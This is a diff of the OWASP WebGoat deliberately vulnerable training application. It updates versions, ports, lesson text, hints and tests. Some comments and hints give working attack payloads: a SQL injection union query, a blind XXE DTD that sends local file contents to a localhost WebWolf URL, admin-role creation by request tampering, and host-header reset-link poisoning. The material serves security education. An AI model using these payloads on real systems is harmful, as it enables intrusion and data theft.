|||||||
|
=== Use the "Edit and resend" functionality in ZAP
|
||||||
|
|
||||||
|
Another way to send a request again instead of clicking in WebGoat on a button and intercept the request there is also
|
||||||
|
an option to resend the same request again from within ZAP.
|
||||||
|
This may significantly help you to solve an assignment because you do not have to switch to ZAP enable the intercept button
|
||||||
|
and go back to WebGoat and perform the request again from within the browser.
|
||||||
|
|
||||||
|
Let's look at an example, we are going to use the e-mail example from the WebWolf introduction lesson. This lesson
|
||||||
|
will generate a request for `/WebGoat/WebWolf/mail`, in the "History" window select the URL you want to resend right click
|
||||||
|
on the URL and select `Open/Resend with Request Editor`. You can also find the request in the left pane of ZAP as indicated
|
||||||
|
with the red arrow in the image below:
|
||||||
|
|
||||||
|
image::images/zap_edit_and_resend.png[Open/Resend with Request Editor,style="lesson-image"]
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
A new window will open and here you can modify the request for example change the e-mail address to someone else and send it again.
|
||||||
|
In the response tab you can inspect the response of the request. In some assignments the response will show a solved message
|
||||||
|
but sometimes you get a code/flag which you need to submit in WebGoat in order to complete the assignment. Always be on the
|
||||||
|
lookout for the response. If you solved the assignment by make a request in this way WebGoat will automatically mark
|
||||||
|
the lesson as solved.
|
||||||
|
|
||||||
|
image::images/zap_edit_and_send.png[Open/Resend with Request Editor,style="lesson-image"]
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
image::images/zap_edit_and_response.png[Open/Resend response,style="lesson-image"]
|
||||||
|
|
||||||
|
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -1,6 +1,7 @@
|
|||||||
package org.owasp.webgoat.plugin;
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
import com.google.common.collect.Lists;
|
||||||
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
@ -23,7 +24,7 @@ import java.util.List;
|
|||||||
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
||||||
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
||||||
|
|
||||||
public static final String JWT_SECRET = "victory";
|
public static final String JWT_SECRET = TextCodec.BASE64.encode("victory");
|
||||||
private static final String WEBGOAT_USER = "WebGoat";
|
private static final String WEBGOAT_USER = "WebGoat";
|
||||||
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
||||||
|
|
||||||
|
@ -5,6 +5,7 @@ import io.jsonwebtoken.Claims;
|
|||||||
import io.jsonwebtoken.Jwt;
|
import io.jsonwebtoken.Jwt;
|
||||||
import io.jsonwebtoken.JwtException;
|
import io.jsonwebtoken.JwtException;
|
||||||
import io.jsonwebtoken.Jwts;
|
import io.jsonwebtoken.Jwts;
|
||||||
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
@ -25,7 +26,6 @@ import java.time.Duration;
|
|||||||
import java.time.Instant;
|
import java.time.Instant;
|
||||||
import java.util.Date;
|
import java.util.Date;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.concurrent.TimeUnit;
|
|
||||||
|
|
||||||
import static java.util.Comparator.comparingLong;
|
import static java.util.Comparator.comparingLong;
|
||||||
import static java.util.Optional.ofNullable;
|
import static java.util.Optional.ofNullable;
|
||||||
@ -39,7 +39,7 @@ import static java.util.stream.Collectors.toList;
|
|||||||
@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"})
|
@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"})
|
||||||
public class JWTVotesEndpoint extends AssignmentEndpoint {
|
public class JWTVotesEndpoint extends AssignmentEndpoint {
|
||||||
|
|
||||||
public static final String JWT_PASSWORD = "victory";
|
public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory");
|
||||||
private static String validUsers = "TomJerrySylvester";
|
private static String validUsers = "TomJerrySylvester";
|
||||||
|
|
||||||
private static int totalVotes = 38929;
|
private static int totalVotes = 38929;
|
||||||
|
@ -63,15 +63,15 @@ whether the location is still the same if not revoke all the tokens and let the
|
|||||||
=== Need for refresh tokens
|
=== Need for refresh tokens
|
||||||
|
|
||||||
Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section
|
Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section
|
||||||
about storing tokens there are two option: web storage or a cookie which mean a refresh token is right beside an
|
about storing tokens there are two options: web storage or a cookie which mean a refresh token is right beside an
|
||||||
access token, so if the access token is leaked changes are the refresh token will also be compromised. Most of the time
|
access token, so if the access token is leaked chances are the refresh token will also be compromised. Most of the time
|
||||||
there is a difference of course, the access token is send when you make an API call, the refresh token is only send
|
there is a difference of course. The access token is sent when you make an API call, the refresh token is only sent
|
||||||
when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same
|
when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same
|
||||||
server you can chose to only use the access token.
|
server you can choose to only use the access token.
|
||||||
|
|
||||||
As stated above using an access token and a separate refresh token gives some leverage for the server not to check
|
As stated above using an access token and a separate refresh token gives some leverage for the server not to check
|
||||||
the access token over and over. Only perform the check when the user needs a new access token.
|
the access token over and over. Only perform the check when the user needs a new access token.
|
||||||
It is certainly possible to only use an access token, at the server you store the exact same information you would
|
It is certainly possible to only use an access token. At the server you store the exact same information you would
|
||||||
store for a refresh token, see previous paragraph. This way you need to check the token each time but this might
|
store for a refresh token, see previous paragraph. This way you need to check the token each time but this might
|
||||||
be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least
|
be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least
|
||||||
use a hash function to store them in your database).
|
use a hash function to store them in your database).
|
||||||
|
@ -9,5 +9,5 @@ dictionary attack is not feasible. Once you have a token you can start an offlin
|
|||||||
Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat.
|
Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat.
|
||||||
|
|
||||||
```
|
```
|
||||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0
|
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM
|
||||||
```
|
```
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -13,7 +13,7 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
@AssignmentPath("/access-control/user-hash")
|
@AssignmentPath("/access-control/user-hash")
|
||||||
@AssignmentHints({"access-control.hash.hint1","access-control.hash.hint2","access-control.hash.hint3",
|
@AssignmentHints({"access-control.hash.hint1","access-control.hash.hint2","access-control.hash.hint3",
|
||||||
"access-control.hash.hint4","access-control.hash.hint5","access-control.hash.hint6","access-control.hash.hint7",
|
"access-control.hash.hint4","access-control.hash.hint5","access-control.hash.hint6","access-control.hash.hint7",
|
||||||
"access-control.hash.hint8","access-control.hash.hint9"})
|
"access-control.hash.hint8","access-control.hash.hint9","access-control.hash.hint10","access-control.hash.hint11","access-control.hash.hint12"})
|
||||||
public class MissingFunctionACYourHash extends AssignmentEndpoint {
|
public class MissingFunctionACYourHash extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
|
@ -51,7 +51,7 @@ public class Users extends Endpoint{
|
|||||||
userMap.put("cc", results.getString(3));
|
userMap.put("cc", results.getString(3));
|
||||||
userMap.put("ccType", results.getString(4));
|
userMap.put("ccType", results.getString(4));
|
||||||
userMap.put("cookie", results.getString(5));
|
userMap.put("cookie", results.getString(5));
|
||||||
userMap.put("loginCOunt",Integer.toString(results.getInt(6)));
|
userMap.put("loginCount",Integer.toString(results.getInt(6)));
|
||||||
allUsersMap.put(id,userMap);
|
allUsersMap.put(id,userMap);
|
||||||
}
|
}
|
||||||
userSessionData.setValue("allUsers",allUsersMap);
|
userSessionData.setValue("allUsers",allUsersMap);
|
||||||
|
@ -11,12 +11,15 @@ access-control.hidden-menus.hint3=Look for something a super-user or administato
|
|||||||
access-control.hash.success=Congrats! You really succeeded when you added the user.
|
access-control.hash.success=Congrats! You really succeeded when you added the user.
|
||||||
access-control.hash.close=Keep trying, this one may take several attempts & steps to achieve. See the hints for help.
|
access-control.hash.close=Keep trying, this one may take several attempts & steps to achieve. See the hints for help.
|
||||||
|
|
||||||
access-control.hash.hint1=If you haven't found the hidden menus from the earlier exercise, go do that now.
|
access-control.hash.hint1=There is an easier way and a 'harder' way to achieve this, the easier way involves one simple change in a GET request.
|
||||||
access-control.hash.hint2=When you look at the users page, there is a hint that more info is viewable by a given role of user.
|
access-control.hash.hint2= If you haven't found the hidden menus from the earlier exercise, go do that first.
|
||||||
access-control.hash.hint3=Have you tried tampering the GET request? Can you find supported or unsupported methods? Can you trigger 500 errors?
|
access-control.hash.hint3=When you look at the users page, there is a hint that more info is viewable by a given role.
|
||||||
access-control.hash.hint4=There are actually two ways to solve this one. The first involves just changing a request header.
|
access-control.hash.hint4=For the easy way, have you tried tampering the GET request? Different content-types?
|
||||||
access-control.hash.hint5=If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it?
|
access-control.hash.hint5=For the 'easy' way, modify the GET request to /users to include 'Content-Type: application/json'
|
||||||
access-control.hash.hint6=If you're still looking for hints ... try changing the Content-type header in the GET request.
|
access-control.hash.hint6=Now for the harder way ... it builds on the easier way
|
||||||
access-control.hash.hint7=The harder way involves changing the Content-type AND the method ... As well as a proper payload for the request. Look at how registration works first and extrapolate out from there.
|
access-control.hash.hint7=If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it?
|
||||||
access-control.hash.hint8=See if you can add a user with a webgoat admin role, and if more is visible once you log in as that user.
|
access-control.hash.hint8=If you're still looking for hints ... try changing the Content-type header as in the GET request.
|
||||||
access-control.hash.hint9=If you create a new user with the admin role ... The role should include 'WEBGOAT' and 'ADMIN' in the role name. You'll have to do some guessing beyond that.
|
access-control.hash.hint9=You also need to deliver a proper payload for the request (look at how registration works). This should be formatted in line with the content-type you just defined.
|
||||||
|
access-control.hash.hint10=You will want to add WEBGOAT_ADMIN for the user's role. Yes, you'd have to guess/fuzz this in a real-world setting.
|
||||||
|
access-control.hash.hint11=OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"}
|
||||||
|
access-control.hash.hint12=Now log in as that user and bring up WebGoat/users. Copy your hash and log back in to your original account and input it there to get credit.
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -62,7 +62,7 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
|||||||
resetLinks.add(resetLink);
|
resetLinks.add(resetLink);
|
||||||
String host = request.getHeader("host");
|
String host = request.getHeader("host");
|
||||||
if (org.springframework.util.StringUtils.hasText(email)) {
|
if (org.springframework.util.StringUtils.hasText(email)) {
|
||||||
if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header.
|
if (email.equals(TOM_EMAIL) && host.contains("9090")) { //User indeed changed the host header.
|
||||||
userToTomResetLink.put(getWebSession().getUserName(), resetLink);
|
userToTomResetLink.put(getWebSession().getUserName(), resetLink);
|
||||||
fakeClickingLinkEmail(host, resetLink);
|
fakeClickingLinkEmail(host, resetLink);
|
||||||
} else {
|
} else {
|
||||||
|
@ -15,7 +15,7 @@ password-reset-not-solved=Sorry but you did not redirect the reset link to WebWo
|
|||||||
password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf.
|
password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf.
|
||||||
password-reset-hint2=Look at the link, can you think how the server creates this link?
|
password-reset-hint2=Look at the link, can you think how the server creates this link?
|
||||||
password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link...
|
password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link...
|
||||||
password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:8081
|
password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090
|
||||||
password-reset-hint5=Intercept the request and change the host header
|
password-reset-hint5=Intercept the request and change the host header
|
||||||
login_failed=Login failed
|
login_failed=Login failed
|
||||||
login_failed.tom=Sorry only Tom can login at the moment
|
login_failed.tom=Sorry only Tom can login at the moment
|
@ -5,12 +5,12 @@
|
|||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<packaging>pom</packaging>
|
<packaging>pom</packaging>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
|
|
||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<modules>
|
<modules>
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -1,10 +1,11 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.plugin.introduction;
|
package org.owasp.webgoat.plugin.advanced;
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
|
import org.owasp.webgoat.plugin.introduction.SqlInjectionLesson5a;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMethod;
|
import org.springframework.web.bind.annotation.RequestMethod;
|
||||||
@ -55,7 +56,6 @@ public class SqlInjectionLesson6a extends AssignmentEndpoint {
|
|||||||
AttackResult completed(@RequestParam String userid_6a) throws IOException {
|
AttackResult completed(@RequestParam String userid_6a) throws IOException {
|
||||||
return injectableQuery(userid_6a);
|
return injectableQuery(userid_6a);
|
||||||
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String accountName) {
|
protected AttackResult injectableQuery(String accountName) {
|
@ -1,5 +1,5 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.plugin.introduction;
|
package org.owasp.webgoat.plugin.advanced;
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
@ -3,7 +3,7 @@
|
|||||||
Lets try to exploit a join to another table. One of the tables in the WebGoat database is:
|
Lets try to exploit a join to another table. One of the tables in the WebGoat database is:
|
||||||
|
|
||||||
-------------------------------------------------------
|
-------------------------------------------------------
|
||||||
CREATE TABLE user_system_data (userid varchar(5) not null primary key,
|
CREATE TABLE user_system_data (userid int not null primary key,
|
||||||
user_name varchar(12),
|
user_name varchar(12),
|
||||||
password varchar(10),
|
password varchar(10),
|
||||||
cookie varchar(30));
|
cookie varchar(30));
|
||||||
|
@ -64,7 +64,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
|||||||
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||||
.andExpect(jsonPath("$.feedback", containsString("dave")));
|
.andExpect(jsonPath("$.feedback", containsString("passW0rD")));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
|
@ -30,7 +30,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
|
|||||||
@Test
|
@Test
|
||||||
public void submitCorrectPassword() throws Exception {
|
public void submitCorrectPassword() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
||||||
.param("userid_6b", "dave"))
|
.param("userid_6b", "passW0rD"))
|
||||||
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||||
}
|
}
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
<dependencies>
|
<dependencies>
|
||||||
<dependency>
|
<dependency>
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -27,21 +27,24 @@ WebWolf runs as a separate web application and is started automatically when usi
|
|||||||
are not using the Docker image you will need to download the jar file and start it:
|
are not using the Docker image you will need to download the jar file and start it:
|
||||||
|
|
||||||
```
|
```
|
||||||
java -jar webwolf-<<version>>.jar
|
java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localhost]
|
||||||
```
|
```
|
||||||
|
|
||||||
|
By default WebWolf starts on port 9090 with `--server.port` you can specify a different port. With `server.address` you
|
||||||
|
can bind it to a different address (default localhost)
|
||||||
|
|
||||||
WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need
|
WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need
|
||||||
to find out the ip address of the Docker container.
|
to find out the ip address of the Docker container.
|
||||||
|
|
||||||
```
|
```
|
||||||
WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`)
|
WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`)
|
||||||
docker pull webgoat/webwolf
|
docker pull webgoat/webwolf
|
||||||
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh
|
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 9090:9090 webgoat/webwolf /home/webwolf/run.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If
|
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If
|
||||||
you start WebGoat as Docker container you need to start WebWolf as Docker container as well.
|
you start WebGoat as Docker container you need to start WebWolf as Docker container as well.
|
||||||
|
|
||||||
|
|
||||||
This will start the application on port 8081, click webWolfLink:here[] to open WebWolf.
|
This will start the application on port 9090, click webWolfLink:here[] to open WebWolf.
|
||||||
First thing you need to do is register a new user within WebWolf.
|
First thing you need to do is register a new user within WebWolf.
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -89,7 +89,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
/**
|
/**
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<!DOCTYPE comment [
|
<!DOCTYPE comment [
|
||||||
<!ENTITY % remote SYSTEM "http://localhost:8081/files/admin2/attack.dtd">
|
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin2/attack.dtd">
|
||||||
%remote;
|
%remote;
|
||||||
]>
|
]>
|
||||||
<comment> <text>test&send;</text></comment>
|
<comment> <text>test&send;</text></comment>
|
||||||
@ -102,14 +102,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
* <pre>
|
* <pre>
|
||||||
* <?xml version="1.0" encoding="UTF-8"?>
|
* <?xml version="1.0" encoding="UTF-8"?>
|
||||||
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/ping?text=%file;'>">
|
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/ping?text=%file;'>">
|
||||||
* %all;
|
* %all;
|
||||||
* </pre>
|
* </pre>
|
||||||
*
|
*
|
||||||
* This will be reduced to:
|
* This will be reduced to:
|
||||||
*
|
*
|
||||||
* <pre>
|
* <pre>
|
||||||
* <!ENTITY send SYSTEM 'http://localhost:8081/ping?text=[contents_file]'>
|
* <!ENTITY send SYSTEM 'http://localhost:9090/ping?text=[contents_file]'>
|
||||||
* </pre>
|
* </pre>
|
||||||
*
|
*
|
||||||
* Wire it all up in the xml send to the server:
|
* Wire it all up in the xml send to the server:
|
||||||
@ -117,7 +117,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
* <pre>
|
* <pre>
|
||||||
* <?xml version="1.0"?>
|
* <?xml version="1.0"?>
|
||||||
* <!DOCTYPE root [
|
* <!DOCTYPE root [
|
||||||
* <!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/test.dtd">
|
* <!ENTITY % remote SYSTEM "http://localhost:9090/WebWolf/files/test.dtd">
|
||||||
* %remote;
|
* %remote;
|
||||||
* ]>
|
* ]>
|
||||||
* <user>
|
* <user>
|
||||||
|
@ -43,4 +43,4 @@ xxe.blind.hints.1=This assignment is more complicated you need to upload the con
|
|||||||
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
|
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
|
||||||
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
|
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
|
||||||
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
|
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
|
||||||
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:8081/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>
|
